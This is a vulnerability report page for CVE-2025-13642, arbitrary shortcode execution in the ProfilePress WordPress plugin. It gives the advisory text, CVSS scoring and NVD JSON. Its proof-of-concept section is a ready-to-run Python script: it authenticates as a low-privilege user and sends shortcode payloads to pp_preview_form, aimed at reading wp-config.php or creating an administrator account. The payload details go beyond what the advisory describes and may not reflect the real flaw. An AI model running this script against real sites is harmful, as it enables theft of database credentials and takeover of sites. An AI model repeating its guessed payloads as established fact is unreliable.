Security Vulnerability Report
中文
CVE-2025-13642 CVSS 5.4 MEDIUM

CVE-2025-13642

Published: 2025-12-09 16:17:36
Last Modified: 2026-04-15 00:35:42

Description

The Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content – ProfilePress plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 4.16.7 due to insufficient input sanitization on the `type` parameter in the form preview functionality. This makes it possible for authenticated attackers, with Subscriber-level access and above, to execute arbitrary shortcodes via the `pp_preview_form` endpoint.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

ProfilePress插件 < 4.16.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-13642 PoC - Arbitrary Shortcode Execution in ProfilePress # Target: WordPress site with ProfilePress plugin <= 4.16.7 target_url = "http://target-wordpress-site.com" # Authentication - attacker needs subscriber-level or higher account # Replace with valid WordPress credentials username = "attacker_account" password = "attacker_password" # Login to WordPress to obtain authentication cookie login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } session = requests.Session() login_response = session.post(login_url, data=login_data) # Check if login was successful if "wordpress_logged_in" in str(session.cookies): print("[+] Login successful") # Exploit the arbitrary shortcode execution via pp_preview_form endpoint exploit_url = f"{target_url}/?pp_preview_form=1" # Example 1: Read wp-config.php (sensitive information disclosure) payload = { "type": "[pp id='1' template='../wp-config.php']" } # Example 2: Execute shortcode to create admin user # payload = { # "type": "[pp_register role='administrator']" # } exploit_response = session.get(exploit_url, params=payload) print(f"[+] Exploit request sent to: {exploit_url}") print(f"[+] Response status: {exploit_response.status_code}") print(f"[+] Response length: {len(exploit_response.text)} bytes") # Save response for analysis with open("exploit_response.html", "w") as f: f.write(exploit_response.text) print("[+] Response saved to exploit_response.html") else: print("[-] Login failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13642", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:35.757", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content – ProfilePress plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 4.16.7 due to insufficient input sanitization on the `type` parameter in the form preview functionality. This makes it possible for authenticated attackers, with Subscriber-level access and above, to execute arbitrary shortcodes via the `pp_preview_form` endpoint."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-user-avatar/trunk/src/Classes/FormPreviewHandler.php#L15", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-user-avatar/trunk/src/Classes/FormPreviewHandler.php#L71", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3408055/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4736d139-814e-4eeb-91e8-5ee41fc35a8f?source=cve", "source": "[email protected]"}]}}